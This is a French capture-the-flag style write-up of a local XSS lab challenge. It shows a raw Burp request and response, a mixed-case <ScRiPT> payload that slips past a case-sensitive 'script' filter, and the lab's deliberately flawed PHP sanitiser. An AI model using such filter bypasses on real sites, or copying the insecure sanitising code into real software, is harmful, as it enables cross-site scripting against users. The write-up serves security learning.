Le quatrième challenge demande explicitement de tenter une injection en utilisant la balise <script></script> :
Une première protection que je rencontre est un contrôle du format de l'adresse email :
Un contournement en utilisant directement Burp est possible, mais ma payload ne semble pas fonctionner car le mot clé script est filtré :
POST /xss4/ HTTP/1.1
Host: localhost:9003
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Origin: http://localhost:9003
Connection: close
Referer: http://localhost:9003/xss4/
user_email=<script>alert(1)</script>&submit=Envoyer
HTTP/1.1 200 OK
Server: Apache/2.4.53 (Debian)
X-Powered-By: PHP/8.0.18
Content-Length: 2094
Connection: close
Content-Type: text/html; charset=UTF-8
<div class="row">
<p style="color:red;" class="well">
<strong></strong><>alert(1)</> is not registered.
</p>
</div>
Ici il doit s'agir d'une protection de type pattern matching, je tente de le contourner en modifiant ma façon d'écrire la balise Javascript, soit <ScRiPT>alert(1)</sCRIpt> :
Analyse du code source
L'adresse email est récupéré dans la variable $email. Avant son affichage par la directive echo, un traitement est effectué par la méthode xss_check_1(). Cette méthode remplace le mot "script" par une chaîne de caractères vide mais sans faire attention à son format (minuscule, majuscule, répétition, etc) :
<?php
if (isset ($_POST['submit']) && isset ($_POST['user_email'])) {
$email = $_POST['user_email'];
}
function xss_check_1($data) {
// Converts only "<" and ">" to HTLM entities
$input = str_replace("script", "", $data);
$input = urldecode($input);
return $input;
}
?>
<div class="row">
<p style="color:red;" class="well">
<strong></strong><?php echo xss_check_1($email); ?> is not registered.
</p>
</div>